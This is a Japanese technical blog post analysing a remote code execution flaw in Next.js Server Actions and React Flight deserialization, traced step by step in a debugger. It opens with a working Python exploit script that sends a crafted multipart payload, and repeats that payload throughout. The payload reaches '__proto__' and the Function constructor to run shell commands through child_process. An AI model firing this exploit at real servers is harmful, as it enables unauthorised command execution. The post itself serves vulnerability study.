下記の PoC を用いてみます。
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
Next.js によるリクエストの処理
Next-Action とは
Next.js において、Actions を利用する際はサーバーへ「Next-Action」という独自ヘッダーを付与し、そこで「サーバーに何をして欲しいのか」という指示を出します。これは内部的には const でエイリアスが利用されています。
Next-Action が利用されている場所を調べる
ACTION_HEADER は下記の箇所(getServerActionRequestMetadata 関数内)で利用されています。
他にも POST リクエストであるか、その際の body の形式は何かなどについて確認をしています。
で、この getServerActionRequestMetadata 関数は handleAction 関数で呼び出されています。
では、実際にはこれがどこで呼ばれているのか?一度デバッガーを当ててみます。
ちょうど見ていた箇所の物です。これの return した先がどこであるか、F10 で進めていきましょう。
renderToResponseWithComponentsImpl へ
ソースコードで検索したら...多分これですね。直後に isSSG 取ってますし。
その後、ここで、handler の呼び出しもします。
この handler は?同様にデバッガーで handler に相当するものが呼び出されるまで飛ばします。
handler
Turbopack により若干難読化されてしまっていますが、進めていきます。
ここで、tracer というものを介して処理を進めていくようです。AI に聞く限りはパフォーマンス測定のためのもの、と理解しておけばよさそうです。この箇所についてはちゃんと理解してません。
tracer
tracer の引数は順番に type/fnOrOptions/fnOrEmpty のようです。
今回、3 つの引数の最後の fnOrEmpty のみが関数であり、後々これが呼ばれます。該当箇所は下記の通りです。tracer についてはパフォーマンス関係であることを確認しており、他に今回のペイロードが寄与しそうな箇所が無いのでカット。
L8288 まで実行した段階で、RCE の脆弱性を使われたエラーが発生していました。よって、調べるべき箇所は L8273 の routeModule.handleResponse にあることが分かります。
routeModule.handleResponse
キャッシュ関連の処理をしているようです。...とこの辺りから進みが悪くなりました。
改めて全体を俯瞰すると、RCE が出来た後にエラーが発生しています。このスタックを見ると、大量の await が発生しており、マルチスレッド的な視点が抜けていました。
スタックトレースから見直す
今までの理解を元に、どこでステータスコードが決まったか/どこでリクエストボディがレスポンスとして送り返す必要があるとしてエンコードされてしまったか、といった情報を探せそうな箇所を見ます。
ここでステータスコード 500 が確定しているようです。確かにこのリクエストにおいて、 isFetchAction は true です。(next-action: x かつ POST リクエストです)
で、上記のスクリーンショットはこれっぽいです。
序盤の handleAction の中に含まれていた関数群の 1 つだったようです。確かに、ここの関数は数が多くて、全てを理解していなかったのを覚えています。
この前に 500 になった原因を探しに行きます。try-catch の catch 側で、try 及びその前(厳密には関係ないですが)を見ていきます。
handleAction(2回目)
うん。確かに next-action: x で該当するアクションが無いことを確かめられていますね。
ここで request body に関する処理を行ってるように見受けられます。下に stream からデータを受け取るぞ!という雰囲気を感じます。
今回の POST Request では multipart を用いていました。以前 Server Actions で行われている通信を見たときは異なったため、必ずしも利用される個所では無いと思われます。
ここに decodeReplyFromBusboy という関数があり、この中に入っていきます。
decodeReplyFromBusboy
いつの間にか React 側に来ていました。
ここで 1 番目(添え字は 0)のチャンクが到達します。これです。
key: '0'
value: '{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\\"then\\": \\"$B0\\"}", "_response": {"_prefix": "var res = process.mainModule.require(\'child_process\').execSync(\'whoami\',{\'timeout\':5000}).toString().trim(); throw Object.assign(new Error(\'NEXT_REDIRECT\'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}'
この辺がヤバそう。value1 が悪意のある Flight Protocol であることを想定していないような気がする(Flight Protocol 自体は仕様として考えられているかもしれないです)
resolveField から resolveModelChunk へ
問題の resolveField、これです。
この時点で ReactFlight"Reply"Server.js となっており、「あくまでリクエストの入力値を読んでいる」と思っていたのですが、違うのですかね...あるいは、実は「リクエスト/レスポンスどちらも対応してます!」みたいな怖い話だったり。
この辺から本格的にペイロードが動き始めます。ここまでで必要そうな条件としては、下記のみだと思われます。
- POST リクエストで、multipart/form-data を用いること
- next-action で指定する文字列は適当なものとし、実在するものと衝突しないこと
Chrome 上では response = response._chunks, prefix = response.get(key) とかなりヤバく見えますが、元のソースコード的にはちゃんと区別が付いているのでよさそうです。
resolveModelChunk
本題に入ってきました。
関数に入った時点での各引数です。
ここで、chunk の value/reason に攻撃者のペイロードが入り込みます。
そのまま initializeModelChunk へつながります。
initializeModelChunk
chunk.value が例のペイロードです。この関数、chunk.value を resolvedModel として取り出し、後続の処理で利用します。
Flight Protocol において、このペイロードが解釈されようとする瞬間です。
それでは、どのように解釈されていくかを見ていきましょう。
Flight Protocol の解釈(reviveModel)
resolvedModel は JSON.parse により文字列からオブジェクトに変換され、reviveModel という関数に渡されます。
最初の呼び出し時点における value は最初に JSON.parse されたオブジェクトと同一、つまり下記となります。
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
object 型であるため、registerTemporaryReference に登録されます。下の開発者ツールの表示は registerTemporaryReference 実行後の temporaryReference の様子です。
その後、再帰的に reviveModel の呼び出しをおこないます。
各要素について見ていきましょう。
then(前半)
"then": "$1:__proto__:then"
文字列なので、parseModelString 関数に呼ばれ、さらに $1 から始まるため getOutlinedModel が呼ばれます。
冒頭の $ だけ取り除かれた "1:__proto__:then" が key に割り当てられ、id == 1 となる chunk への参照となります。
まだこの chunk は処理を行っていません。下記の "1" に該当する箇所ですね。
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
ということで、createPendingChunk として置かれます。waitForReference と言っていますが、こちらの方が分かりやすいです。
まず、ここまで無かった情報ではありますが、Chunk は thennable です。chunk.then(resolve, reject) で参照したい Chunk の評価が終わった瞬間にこの Chunk の再評価を行う、という趣旨だと思っています。
(then により呼ばれる後半に続きます)
status
そのまま json として解釈された以上の解釈はされません。
"status": "resolved_model",
ただし、このペイロードは Chunk として解釈されるもので、resolved なものであるという意味で効果を後々発揮しそうです。
reason
同じく、json として解釈された以上の解釈はされません。
"reason": -1,
value
thenable であることを悪用していそうな、かつ循環参照を含む複雑なものです。
"value": '{"then": "$B0"}',
とはいえ、いまだ文字列なので、そのまま放置されます。
_response._prefix
ここから本題です。
"_prefix": "var res = process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});"
これは実行するペイロード本体ですが、現在時点ではただの文字列です。
_response._formData.get
"get": "$1:constructor:constructor",
id=1 の chunk への参照が発生しています。
id=0 の chunk を評価終了した時点では、このような形になります(一時的に置いてある箇所は循環参照を防止するために null が置かれています)
この chunk は全体としてはまだ評価が終わっていません。blocked という status があり、それが上記の chunk の外側について Queue に入ります。
id=1 の chunk へ
1: '"$@0"'
この値 '"$@0"' に対して JSON.parse がかかります。最初のシングルクォーテーションが外れます。
このように、id=0 の chunk を取得します。循環参照になりますが、前述の通り「循環参照部分は null になっている」ので、そのまま代入が可能です(chunk.status=='blocked' で判別可能と思われる)
id=1 の chunk の評価はこれで完了です。status として fulfilled として終了します。
...と思いきや、wakeChunk 関数により、埋まっていた id=0 の chunk 達が動き出します!
参照の解消1: 1.proto.then
あれ?この時点でおかしくないですか?って思った方、正しいです。元々の解釈前の文章はこれ。
$1:__proto__:then
この : 記法ですが、下記のコードで処理をするため、内部プロパティへのアクセスを意味するようです。
(ごめんなさいソースコード上でどこかは分かりませんでした)
これにより、value1 は Chunk.then を指します。
参照の解消2: 1.constructor.constructor
同様に、元の値が $1:constructor:constructor であった場所(キーは _response._formData.get)の解消を行います。
これにより、Chunk.constructor.constructor が評価され、function のコンストラクタが得られます。これを用いると、例えばこのようなことが可能です。
...一気に RCE が近づいて見えました。現在、このようになっています。
{
"then": <Chunk.then の関数>
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
"_formData": {
"get": <function のコンストラクタ>,
},
},
}
さて、deps(解消すべき依存関係)は無くなり、上記の親が fullfilled になります。ただし、ここで上記のオブジェクトを Chunk とし、wakeChunk を起動します。
この際、then が書き換えられてしまっているのは非常にまずい状況と考えられそうです。
再度 payload に対する initializeModelChunk
wakeChunk によるものであると判断が適切に出来なかったのですが、上記を chunk として initializeModelChunk 関数がここで走ります。
この際、value は一度目では文字列だった '{"then": "$B0"}' です。
再度 JSON.parse が走るので、$B0 の解釈もここで行われそうですね。
$B0 の解釈
$B0 は下記のコードとなります。
ただし、この response は parseModelString 時点における chunk._response です。つまり、これです。
{
"_prefix": "var res = process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_formData": {
"get": <function のコンストラクタ>
}
}
これに対して、ソースコード/実際のデバッガーで response._formData.get 関数を実行します。関数のコンストラクタですね。
引数は response._prefix + id、文字列として「設定したペイロード」+「文字列の 0(実行しても何も意味はない)」です。後はこれを実行するだけ。
{
"then": <RCE function>
}
payload の起動
ここにもう依存関係は無く、fulfilled に出来ます。自分自身を resolve しましょう。
中では、resolve(this.value) というコードが実行されます。
あっ...この this.value は... RCE の関数を含む例のオブジェクトです。このオブジェクトも同様に then を持っており、これが呼ばれてしまいます。
下記は検証用の実験コードとその結果です。
まとめ
本当に無駄の無い PoC でした。
ドキュメントに記載が無いので十分な確証は無いですが、恐らくリクエストボディを取得する際に Chunk とするところまでは仕様なのかな?と思います。
ただ、危険なアクセスが出来てしまう : の使用が出来たり、悪用したリクエストが送られることを想定していなかったことが大きいのだと感じました。


























